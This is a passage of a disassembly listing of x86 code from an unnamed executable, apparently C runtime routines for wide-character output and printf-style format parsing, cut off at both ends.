		call	sub_4157D0
		add	esp, 10h
		test	eax, eax
		jz	short loc_412620


loc_412619:				; CODE XREF: sub_412505+14Aj
		mov	eax, 0FFFFh
		jmp	short loc_41267D
; ---------------------------------------------------------------------------


loc_412620:				; CODE XREF: sub_412505+112j
		xor	edi, edi
		cmp	[ebp+var_10], edi
		jle	short loc_412657


loc_412627:				; CODE XREF: sub_412505+150j
		dec	dword ptr [esi+4]
		js	short loc_41263E
		mov	eax, [esi]
		mov	cl, [ebp+edi+var_C]
		mov	[eax], cl
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41264C
; ---------------------------------------------------------------------------


loc_41263E:				; CODE XREF: sub_412505+125j
		movsx	eax, [ebp+edi+var_C]
		push	esi
		push	eax
		call	sub_40C635
		pop	ecx
		pop	ecx


loc_41264C:				; CODE XREF: sub_412505+137j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412619
		inc	edi
		cmp	edi, [ebp+var_10]
		jl	short loc_412627


loc_412657:				; CODE XREF: sub_412505+120j
		mov	ax, word ptr [ebp+arg_0]
		jmp	short loc_41267D
; ---------------------------------------------------------------------------


loc_41265D:				; CODE XREF: sub_412505+1Cj
					; sub_412505+6Aj ...
		add	dword ptr [esi+4], 0FFFFFFFEh
		js	short loc_412670
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		mov	[ecx], ax
		add	dword ptr [esi], 2
		jmp	short loc_41267D
; ---------------------------------------------------------------------------


loc_412670:				; CODE XREF: sub_412505+15Cj
		movzx	eax, word ptr [ebp+arg_0]
		push	esi
		push	eax
		call	sub_4154F0
		pop	ecx
		pop	ecx


loc_41267D:				; CODE XREF: sub_412505+119j
					; sub_412505+156j ...
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AC1C
		leave
		retn
sub_412505	endp


; =============== S U B	R O U T	I N E =======================================



sub_41268C	proc near		; CODE XREF: sub_40DB8F:loc_40DBB6p
		mov	edi, edi
		push	esi
		push	edi
		xor	edi, edi


loc_412692:				; CODE XREF: sub_41268C+1Cj
		lea	esi, dword_42ACF0[edi]
		push	dword ptr [esi]
		call	sub_40E0C8
		add	edi, 4
		pop	ecx
		mov	[esi], eax
		cmp	edi, 28h
		jb	short loc_412692
		pop	edi
		pop	esi
		retn
sub_41268C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4126AD	proc near		; CODE XREF: sub_4128E7+608p
		mov	eax, dword_42A034
		or	eax, 1
		xor	ecx, ecx
		cmp	dword_42ED40, eax
		setz	cl
		mov	eax, ecx
		retn
sub_4126AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4126C3	proc near		; CODE XREF: sub_4127DA+10p
					; sub_4128E7+51Cp ...

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_4126EB
		cmp	[ebp+arg_8], ebx
		jz	short loc_4126EB
		cmp	[esi], bl
		jnz	short loc_4126F1
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4126EB
		xor	ecx, ecx
		mov	[eax], cx


loc_4126EB:				; CODE XREF: sub_4126C3+11j
					; sub_4126C3+16j ...
		xor	eax, eax


loc_4126ED:				; CODE XREF: sub_4126C3+5Ej
					; sub_4126C3+BFj ...
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4126F1:				; CODE XREF: sub_4126C3+1Aj
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_10]
		call	sub_40C799
		mov	eax, [ebp+var_10]
		cmp	[eax+14h], ebx
		jnz	short loc_412723
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_412712
		movzx	cx, byte ptr [esi]
		mov	[eax], cx


loc_412712:				; CODE XREF: sub_4126C3+46j
					; sub_4126C3+10Fj
		cmp	[ebp+var_4], bl
		jz	short loc_41271E
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_41271E:				; CODE XREF: sub_4126C3+52j
		xor	eax, eax
		inc	eax
		jmp	short loc_4126ED
; ---------------------------------------------------------------------------


loc_412723:				; CODE XREF: sub_4126C3+3Fj
		lea	eax, [ebp+var_10]
		push	eax
		movzx	eax, byte ptr [esi]
		push	eax
		call	sub_4127F4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4127B3
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+0ACh]
		cmp	ecx, 1
		jle	short loc_412769
		cmp	[ebp+arg_8], ecx
		jl	short loc_412769
		xor	edx, edx
		cmp	[ebp+arg_0], ebx
		setnz	dl
		push	edx
		push	[ebp+arg_0]
		push	ecx
		push	esi
		push	9
		push	dword ptr [eax+4]
		call	dword_41D1F4	; MultiByteToWideChar
		test	eax, eax
		mov	eax, [ebp+var_10]
		jnz	short loc_412779


loc_412769:				; CODE XREF: sub_4126C3+7Fj
					; sub_4126C3+84j
		mov	ecx, [ebp+arg_8]
		cmp	ecx, [eax+0ACh]
		jb	short loc_412794
		cmp	[esi+1], bl
		jz	short loc_412794


loc_412779:				; CODE XREF: sub_4126C3+A4j
		mov	eax, [eax+0ACh]
		cmp	[ebp+var_4], bl
		jz	loc_4126ED
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	loc_4126ED
; ---------------------------------------------------------------------------


loc_412794:				; CODE XREF: sub_4126C3+AFj
					; sub_4126C3+B4j ...
		call	sub_40C862
		mov	dword ptr [eax], 2Ah
		cmp	[ebp+var_4], bl
		jz	short loc_4127AB
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_4127AB:				; CODE XREF: sub_4126C3+DFj
		or	eax, 0FFFFFFFFh
		jmp	loc_4126ED
; ---------------------------------------------------------------------------


loc_4127B3:				; CODE XREF: sub_4126C3+71j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_10]
		push	1
		push	esi
		push	9
		push	dword ptr [eax+4]
		call	dword_41D1F4	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_412712
		jmp	short loc_412794
sub_4126C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4127DA	proc near		; CODE XREF: sub_41105A+1E1p
					; sub_41105A+205p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4126C3
		add	esp, 10h
		pop	ebp
		retn
sub_4127DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4127F4	proc near		; CODE XREF: sub_4126C3+68p
					; sub_41282C+Ap ...

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_40C799
		movzx	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_10]
		mov	ecx, [ecx+0C8h]
		movzx	eax, word ptr [ecx+eax*2]
		and	eax, 8000h
		cmp	[ebp+var_4], 0
		jz	short locret_41282A
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_41282A:				; CODE XREF: sub_4127F4+2Dj
		leave
		retn
sub_4127F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41282C	proc near		; CODE XREF: sub_41105A+1B7p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	0
		push	[ebp+arg_0]
		call	sub_4127F4
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_41282C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41283F	proc near		; CODE XREF: sub_41286E+13p
					; sub_412895+27p ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		test	byte ptr [eax+0Ch], 40h
		jz	short loc_412850
		cmp	dword ptr [eax+8], 0
		jz	short loc_41286A


loc_412850:				; CODE XREF: sub_41283F+9j
		push	eax
		push	[ebp+arg_0]
		call	sub_412505
		pop	ecx
		pop	ecx
		mov	ecx, 0FFFFh
		cmp	ax, cx
		jnz	short loc_41286A
		or	dword ptr [esi], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41286A:				; CODE XREF: sub_41283F+Fj
					; sub_41283F+24j
		inc	dword ptr [esi]
		pop	ebp
		retn
sub_41283F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41286E	proc near		; CODE XREF: sub_4128E7+9FEp
					; sub_4128E7+A40p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, eax
		jmp	short loc_41288C
; ---------------------------------------------------------------------------


loc_412878:				; CODE XREF: sub_41286E+22j
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_8]
		dec	[ebp+arg_4]
		call	sub_41283F
		cmp	dword ptr [esi], 0FFFFFFFFh
		pop	ecx
		jz	short loc_412892


loc_41288C:				; CODE XREF: sub_41286E+8j
		cmp	[ebp+arg_4], 0
		jg	short loc_412878


loc_412892:				; CODE XREF: sub_41286E+1Cj
		pop	esi
		pop	ebp
		retn
sub_41286E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412895	proc near		; CODE XREF: sub_4128E7+A1Ep
					; sub_4128E7+AD3p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		test	byte ptr [edi+0Ch], 40h
		push	ebx
		push	esi
		mov	esi, eax
		mov	ebx, ecx
		jz	short loc_4128DD
		cmp	dword ptr [edi+8], 0
		jnz	short loc_4128DD
		mov	eax, [ebp+arg_0]
		add	[esi], eax
		jmp	short loc_4128E3
; ---------------------------------------------------------------------------


loc_4128B3:				; CODE XREF: sub_412895+4Cj
		movzx	eax, word ptr [ebx]
		dec	[ebp+arg_0]
		push	eax
		mov	eax, edi
		call	sub_41283F
		inc	ebx
		inc	ebx
		cmp	dword ptr [esi], 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4128DD
		call	sub_40C862
		cmp	dword ptr [eax], 2Ah
		jnz	short loc_4128E3
		push	3Fh
		mov	eax, edi
		call	sub_41283F
		pop	ecx


loc_4128DD:				; CODE XREF: sub_412895+Fj
					; sub_412895+15j ...
		cmp	[ebp+arg_0], 0
		jg	short loc_4128B3


loc_4128E3:				; CODE XREF: sub_412895+1Cj
					; sub_412895+3Cj
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_412895	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4128E7	proc near		; DATA XREF: sub_40C9A3+51o

var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_444		= dword	ptr -444h
var_440		= byte ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= byte ptr -438h
var_437		= byte ptr -437h
var_434		= dword	ptr -434h
var_430		= word ptr -430h
var_42E		= word ptr -42Eh
var_42C		= dword	ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= word ptr -404h
var_205		= byte ptr -205h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 474h
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		mov	esi, [ebp+arg_0]
		xor	eax, eax
		push	edi
		push	[ebp+arg_8]
		mov	edi, [ebp+arg_4]
		lea	ecx, [ebp+var_44C]
		mov	[ebp+var_43C], esi
		mov	[ebp+var_418], ebx
		mov	[ebp+var_454], eax
		mov	[ebp+var_408], eax
		mov	[ebp+var_42C], eax
		mov	[ebp+var_40C], eax
		mov	[ebp+var_424], eax
		mov	[ebp+var_450], eax
		mov	[ebp+var_428], eax
		call	sub_40C799
		test	esi, esi
		jnz	short loc_412987


loc_412952:				; CODE XREF: sub_4128E7+132j
					; sub_4128E7+60Fj
		call	sub_40C862
		mov	dword ptr [eax], 16h
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax


loc_412964:				; CODE XREF: sub_4128E7+B6j
		call	sub_40B255
		add	esp, 14h
		cmp	[ebp+var_440], 0
		jz	short loc_41297F
		mov	eax, [ebp+var_444]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_41297F:				; CODE XREF: sub_4128E7+8Cj
		or	eax, 0FFFFFFFFh
		jmp	loc_413456
; ---------------------------------------------------------------------------


loc_412987:				; CODE XREF: sub_4128E7+69j
		xor	esi, esi
		cmp	edi, esi
		jnz	short loc_41299F


loc_41298D:				; CODE XREF: sub_4128E7+B50j
		call	sub_40C862
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		push	esi
		jmp	short loc_412964
; ---------------------------------------------------------------------------


loc_41299F:				; CODE XREF: sub_4128E7+A4j
		movzx	ecx, word ptr [edi]
		mov	[ebp+var_420], esi
		mov	[ebp+var_414], esi
		mov	[ebp+var_434], esi
		mov	[ebp+var_458], esi
		mov	[ebp+var_41C], ecx
		cmp	cx, si
		jz	loc_41343D


loc_4129C9:				; CODE XREF: sub_4128E7+B3Cj
		push	2
		pop	edx
		add	edi, edx
		cmp	[ebp+var_420], esi
		mov	[ebp+var_460], edi
		jl	loc_413428
		lea	eax, [ecx-20h]
		cmp	ax, 58h
		ja	short loc_4129F8
		movzx	eax, cx
		movzx	eax, byte ptr aSat[eax]	; "Sat"
		and	eax, 0Fh
		jmp	short loc_4129FA
; ---------------------------------------------------------------------------


loc_4129F8:				; CODE XREF: sub_4128E7+100j
		xor	eax, eax


loc_4129FA:				; CODE XREF: sub_4128E7+10Fj
		mov	esi, [ebp+var_434]
		imul	eax, 9
		movzx	eax, byte_41EE90[eax+esi]
		push	8
		shr	eax, 4
		pop	esi
		mov	[ebp+var_434], eax
		cmp	eax, esi
		jz	loc_412952
		cmp	eax, 7		; switch 8 cases
		ja	loc_413405	; default
		jmp	off_413467[eax*4] ; switch jump


loc_412A2F:				; DATA XREF: UPX0:off_413467o
		xor	eax, eax	; jumptable 00412A28 case 1
		or	[ebp+var_40C], 0FFFFFFFFh
		mov	[ebp+var_45C], eax
		mov	[ebp+var_450], eax
		mov	[ebp+var_42C], eax
		mov	[ebp+var_424], eax
		mov	[ebp+var_408], eax
		mov	[ebp+var_428], eax
		jmp	loc_413411
; ---------------------------------------------------------------------------


loc_412A61:				; CODE XREF: sub_4128E7+141j
					; DATA XREF: UPX0:off_413467o
		movzx	eax, cx		; jumptable 00412A28 case 2
		sub	eax, 20h
		jz	short loc_412AB1
		sub	eax, 3
		jz	short loc_412AA2
		sub	eax, esi
		jz	short loc_412A96
		sub	eax, edx
		jz	short loc_412A8A
		sub	eax, 3
		jnz	loc_413405	; default
		or	[ebp+var_408], esi
		jmp	loc_413411
; ---------------------------------------------------------------------------


loc_412A8A:				; CODE XREF: sub_4128E7+18Dj
		or	[ebp+var_408], 4
		jmp	loc_413411
; ---------------------------------------------------------------------------


loc_412A96:				; CODE XREF: sub_4128E7+189j
		or	[ebp+var_408], 1
		jmp	loc_413411
; ---------------------------------------------------------------------------


loc_412AA2:				; CODE XREF: sub_4128E7+185j
		or	[ebp+var_408], 80h
		jmp	loc_413411
; ---------------------------------------------------------------------------


loc_412AB1:				; CODE XREF: sub_4128E7+180j
		or	[ebp+var_408], edx
		jmp	loc_413411
; ---------------------------------------------------------------------------


loc_412ABC:				; CODE XREF: sub_4128E7+141j
					; DATA XREF: UPX0:off_413467o
		cmp	cx, 2Ah		; jumptable 00412A28 case 3
		jnz	short loc_412AED
		mov	eax, [ebx]
		add	ebx, 4
		mov	[ebp+var_418], ebx
		mov	[ebp+var_42C], eax
		test	eax, eax
		jge	loc_413411
		or	[ebp+var_408], 4
		neg	[ebp+var_42C]
		jmp	loc_413411
; ---------------------------------------------------------------------------


loc_412AED:				; CODE XREF: sub_4128E7+1D9j
		mov	eax, [ebp+var_42C]
		imul	eax, 0Ah
		movzx	ecx, cx
		lea	eax, [eax+ecx-30h]
		mov	[ebp+var_42C], eax
		jmp	loc_413411
; ---------------------------------------------------------------------------


loc_412B08:				; CODE XREF: sub_4128E7+141j
					; DATA XREF: UPX0:off_413467o
		and	[ebp+var_40C], 0 ; jumptable 00412A28 case 4
		jmp	loc_413411
; ---------------------------------------------------------------------------


loc_412B14:				; CODE XREF: sub_4128E7+141j
					; DATA XREF: UPX0:off_413467o
		cmp	cx, 2Ah		; jumptable 00412A28 case 5
		jnz	short loc_412B3F
		mov	eax, [ebx]
		add	ebx, 4
		mov	[ebp+var_418], ebx
		mov	[ebp+var_40C], eax
		test	eax, eax
		jge	loc_413411
		or	[ebp+var_40C], 0FFFFFFFFh
		jmp	loc_413411
; ---------------------------------------------------------------------------


loc_412B3F:				; CODE XREF: sub_4128E7+231j
		mov	eax, [ebp+var_40C]
		imul	eax, 0Ah
		movzx	ecx, cx
		lea	eax, [eax+ecx-30h]
		mov	[ebp+var_40C], eax
		jmp	loc_413411
; ---------------------------------------------------------------------------


loc_412B5A:				; CODE XREF: sub_4128E7+141j
					; DATA XREF: UPX0:off_413467o
		movzx	eax, cx		; jumptable 00412A28 case 6
		cmp	eax, 49h
		jz	short loc_412BB3
		cmp	eax, 68h
		jz	short loc_412BA7
		cmp	eax, 6Ch
		jz	short loc_412B84
		cmp	eax, 77h
		jnz	loc_413411
		or	[ebp+var_408], 800h
		jmp	loc_413411
; ---------------------------------------------------------------------------


loc_412B84:				; CODE XREF: sub_4128E7+283j
		cmp	word ptr [edi],	6Ch
		jnz	short loc_412B9B
		add	edi, edx
		or	[ebp+var_408], 1000h
		jmp	loc_413411
; ---------------------------------------------------------------------------


loc_412B9B:				; CODE XREF: sub_4128E7+2A1j
		or	[ebp+var_408], 10h
		jmp	loc_413411
; ---------------------------------------------------------------------------


loc_412BA7:				; CODE XREF: sub_4128E7+27Ej
		or	[ebp+var_408], 20h
		jmp	loc_413411
; ---------------------------------------------------------------------------


loc_412BB3:				; CODE XREF: sub_4128E7+279j
		movzx	eax, word ptr [edi]
		cmp	ax, 36h
		jnz	short loc_412BD5
		cmp	word ptr [edi+2], 34h
		jnz	short loc_412BD5
		add	edi, 4
		or	[ebp+var_408], 8000h
		jmp	loc_413411
; ---------------------------------------------------------------------------


loc_412BD5:				; CODE XREF: sub_4128E7+2D3j
					; sub_4128E7+2DAj
		cmp	ax, 33h
		jnz	short loc_412BF4
		cmp	word ptr [edi+2], 32h
		jnz	short loc_412BF4
		add	edi, 4
		and	[ebp+var_408], 0FFFF7FFFh
		jmp	loc_413411
; ---------------------------------------------------------------------------


loc_412BF4:				; CODE XREF: sub_4128E7+2F2j
					; sub_4128E7+2F9j
		cmp	ax, 64h
		jz	loc_413411
		cmp	ax, 69h
		jz	loc_413411
		cmp	ax, 6Fh
		jz	loc_413411
		cmp	ax, 75h
		jz	loc_413411
		cmp	ax, 78h
		jz	loc_413411
		cmp	ax, 58h
		jz	loc_413411
		and	[ebp+var_434], 0


loc_412C37:				; CODE XREF: sub_4128E7+141j
					; DATA XREF: UPX0:off_413467o
		mov	eax, [ebp+var_43C] ; jumptable 00412A28	case 0
		push	ecx
		lea	esi, [ebp+var_420]
		mov	[ebp+var_428], 1
		call	sub_41283F
		pop	ecx
		jmp	loc_413411
; ---------------------------------------------------------------------------


loc_412C59:				; CODE XREF: sub_4128E7+141j
					; DATA XREF: UPX0:off_413467o
		movzx	eax, cx		; jumptable 00412A28 case 7
		cmp	eax, 64h
		jg	loc_412E95
		jz	loc_412F28
		cmp	eax, 53h
		jg	loc_412D8F
		jz	short loc_412CF4
		sub	eax, 41h
		jz	short loc_412C8B
		sub	eax, edx
		jz	short loc_412CD8
		sub	eax, edx
		jz	short loc_412C8B
		sub	eax, edx
		jnz	loc_413277


loc_412C8B:				; CODE XREF: sub_4128E7+392j
					; sub_4128E7+39Aj
		add	ecx, 20h
		mov	[ebp+var_45C], 1
		mov	[ebp+var_41C], ecx


loc_412C9E:				; CODE XREF: sub_4128E7+4BCj
					; sub_4128E7+5C9j
		or	[ebp+var_408], 40h
		cmp	[ebp+var_40C], 0
		lea	esi, [ebp+var_404]
		mov	eax, 200h
		mov	[ebp+var_410], esi
		mov	[ebp+var_414], eax
		jge	loc_412F56
		mov	[ebp+var_40C], 6
		jmp	loc_412FC1
; ---------------------------------------------------------------------------


loc_412CD8:				; CODE XREF: sub_4128E7+396j
		test	[ebp+var_408], 830h
		jnz	loc_412DB1
		or	[ebp+var_408], 20h
		jmp	loc_412DB1
; ---------------------------------------------------------------------------


loc_412CF4:				; CODE XREF: sub_4128E7+38Dj
		test	[ebp+var_408], 830h
		jnz	short loc_412D07
		or	[ebp+var_408], 20h


loc_412D07:				; CODE XREF: sub_4128E7+417j
					; sub_4128E7+7B0j
		mov	edi, [ebp+var_40C]
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_412D17
		mov	edi, 7FFFFFFFh


loc_412D17:				; CODE XREF: sub_4128E7+429j
		add	ebx, 4
		test	byte ptr [ebp+var_408],	20h
		mov	[ebp+var_418], ebx
		mov	ebx, [ebx-4]
		mov	[ebp+var_410], ebx
		jz	loc_41323B
		test	ebx, ebx
		jnz	short loc_412D45
		mov	eax, off_42ACE8
		mov	[ebp+var_410], eax


loc_412D45:				; CODE XREF: sub_4128E7+451j
		and	[ebp+var_414], 0
		mov	esi, [ebp+var_410]
		test	edi, edi
		jle	loc_413277


loc_412D5A:				; CODE XREF: sub_4128E7+4A1j
		mov	al, [esi]
		test	al, al
		jz	loc_413277
		lea	ecx, [ebp+var_44C]
		movzx	eax, al
		push	ecx
		push	eax
		call	sub_4127F4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_412D7B
		inc	esi


loc_412D7B:				; CODE XREF: sub_4128E7+491j
		inc	esi
		inc	[ebp+var_414]
		cmp	[ebp+var_414], edi
		jl	short loc_412D5A
		jmp	loc_413277
; ---------------------------------------------------------------------------


loc_412D8F:				; CODE XREF: sub_4128E7+387j
		sub	eax, 58h
		jz	loc_413088
		sub	eax, edx
		jz	loc_412E35
		sub	eax, 7
		jz	loc_412C9E
		sub	eax, edx
		jnz	loc_413277


loc_412DB1:				; CODE XREF: sub_4128E7+3FBj
					; sub_4128E7+408j
		movzx	eax, word ptr [ebx]
		add	ebx, 4
		xor	esi, esi
		inc	esi
		test	byte ptr [ebp+var_408],	20h
		mov	[ebp+var_428], esi
		mov	[ebp+var_418], ebx
		mov	[ebp+var_464], eax
		jz	short loc_412E17
		mov	[ebp+var_438], al
		lea	eax, [ebp+var_44C]
		push	eax
		mov	eax, [ebp+var_44C]
		mov	[ebp+var_437], 0
		push	dword ptr [eax+0ACh]
		lea	eax, [ebp+var_438]
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_4126C3
		add	esp, 10h
		test	eax, eax
		jge	short loc_412E1E
		mov	[ebp+var_450], esi
		jmp	short loc_412E1E
; ---------------------------------------------------------------------------


loc_412E17:				; CODE XREF: sub_4128E7+4ECj
		mov	[ebp+var_404], ax


loc_412E1E:				; CODE XREF: sub_4128E7+526j
					; sub_4128E7+52Ej
		lea	eax, [ebp+var_404]
		mov	[ebp+var_410], eax
		mov	[ebp+var_414], esi
		jmp	loc_413277
; ---------------------------------------------------------------------------


loc_412E35:				; CODE XREF: sub_4128E7+4B3j
		mov	eax, [ebx]
		add	ebx, 4
		mov	[ebp+var_418], ebx
		test	eax, eax
		jz	short loc_412E7E
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_412E7E
		test	[ebp+var_408], 800h
		movsx	eax, word ptr [eax]
		mov	[ebp+var_410], ecx
		jz	short loc_412E72
		cdq
		sub	eax, edx
		mov	[ebp+var_428], 1
		jmp	loc_41326F
; ---------------------------------------------------------------------------


loc_412E72:				; CODE XREF: sub_4128E7+577j
		and	[ebp+var_428], 0
		jmp	loc_413271
; ---------------------------------------------------------------------------


loc_412E7E:				; CODE XREF: sub_4128E7+55Bj
					; sub_4128E7+562j
		mov	eax, off_42ACE8
		mov	[ebp+var_410], eax
		push	eax


loc_412E8A:				; CODE XREF: sub_4128E7+796j
		call	sub_40BFB0
		pop	ecx
		jmp	loc_413271
; ---------------------------------------------------------------------------


loc_412E95:				; CODE XREF: sub_4128E7+378j
		cmp	eax, 70h
		jg	loc_413094
		jz	loc_413082
		cmp	eax, 65h
		jl	loc_413277
		cmp	eax, 67h
		jle	loc_412C9E
		cmp	eax, 69h
		jz	short loc_412F28
		cmp	eax, 6Eh
		jz	short loc_412EE4
		cmp	eax, 6Fh
		jnz	loc_413277
		test	byte ptr [ebp+var_408],	80h
		mov	[ebp+var_41C], esi
		jz	short loc_412F39
		or	[ebp+var_408], 200h
		jmp	short loc_412F39
; ---------------------------------------------------------------------------


loc_412EE4:				; CODE XREF: sub_4128E7+5D7j
		mov	esi, [ebx]
		add	ebx, 4
		mov	[ebp+var_418], ebx
		call	sub_4126AD
		test	eax, eax
		jz	loc_412952
		test	byte ptr [ebp+var_408],	20h
		jz	short loc_412F11
		mov	ax, word ptr [ebp+var_420]
		mov	[esi], ax
		jmp	short loc_412F19
; ---------------------------------------------------------------------------


loc_412F11:				; CODE XREF: sub_4128E7+61Cj
		mov	eax, [ebp+var_420]
		mov	[esi], eax


loc_412F19:				; CODE XREF: sub_4128E7+628j
		mov	[ebp+var_450], 1
		jmp	loc_4133E9
; ---------------------------------------------------------------------------


loc_412F28:				; CODE XREF: sub_4128E7+37Ej
					; sub_4128E7+5D2j
		or	[ebp+var_408], 40h


loc_412F2F:				; CODE XREF: sub_4128E7+7B8j
		mov	[ebp+var_41C], 0Ah


loc_412F39:				; CODE XREF: sub_4128E7+5EFj
					; sub_4128E7+5FBj ...
		test	[ebp+var_408], 8000h
		jz	loc_4130F4


loc_412F49:				; CODE XREF: sub_4128E7+817j
		add	ebx, esi
		mov	eax, [ebx-8]
		mov	edx, [ebx-4]
		jmp	loc_41313D
; ---------------------------------------------------------------------------


loc_412F56:				; CODE XREF: sub_4128E7+3DCj
		jnz	short loc_412F6A
		cmp	cx, 67h
		jnz	short loc_412FC1
		mov	[ebp+var_40C], 1
		jmp	short loc_412FC1
; ---------------------------------------------------------------------------


loc_412F6A:				; CODE XREF: sub_4128E7:loc_412F56j
		cmp	[ebp+var_40C], eax
		jle	short loc_412F78
		mov	[ebp+var_40C], eax


loc_412F78:				; CODE XREF: sub_4128E7+689j
		cmp	[ebp+var_40C], 0A3h
		jle	short loc_412FC1
		mov	edi, [ebp+var_40C]
		add	edi, 15Dh
		push	edi
		call	sub_40EF2A
		pop	ecx
		mov	ecx, [ebp+var_41C]
		mov	[ebp+var_458], eax
		test	eax, eax
		jz	short loc_412FB7
		mov	[ebp+var_410], eax
		mov	[ebp+var_414], edi
		mov	esi, eax
		jmp	short loc_412FC1
; ---------------------------------------------------------------------------


loc_412FB7:				; CODE XREF: sub_4128E7+6BEj
		mov	[ebp+var_40C], 0A3h


loc_412FC1:				; CODE XREF: sub_4128E7+3ECj
					; sub_4128E7+675j ...
		mov	eax, [ebx]
		add	ebx, 8
		mov	[ebp+var_46C], eax
		mov	eax, [ebx-4]
		mov	[ebp+var_468], eax
		lea	eax, [ebp+var_44C]
		push	eax
		push	[ebp+var_45C]
		movsx	eax, cl
		push	[ebp+var_40C]
		mov	[ebp+var_418], ebx
		push	eax
		push	[ebp+var_414]
		lea	eax, [ebp+var_46C]
		push	esi
		push	eax
		push	dword_42AD08
		call	sub_40E143
		pop	ecx
		call	eax
		mov	ebx, [ebp+var_408]
		add	esp, 1Ch
		and	ebx, 80h
		jz	short loc_413040
		cmp	[ebp+var_40C], 0
		jnz	short loc_413040
		lea	eax, [ebp+var_44C]
		push	eax
		push	esi
		push	dword_42AD14
		call	sub_40E143
		pop	ecx
		call	eax
		pop	ecx
		pop	ecx


loc_413040:				; CODE XREF: sub_4128E7+736j
					; sub_4128E7+73Fj
		cmp	word ptr [ebp+var_41C],	67h
		jnz	short loc_413066
		test	ebx, ebx
		jnz	short loc_413066
		lea	eax, [ebp+var_44C]
		push	eax
		push	esi
		push	dword_42AD10
		call	sub_40E143
		pop	ecx
		call	eax
		pop	ecx
		pop	ecx


loc_413066:				; CODE XREF: sub_4128E7+761j
					; sub_4128E7+765j
		cmp	byte ptr [esi],	2Dh
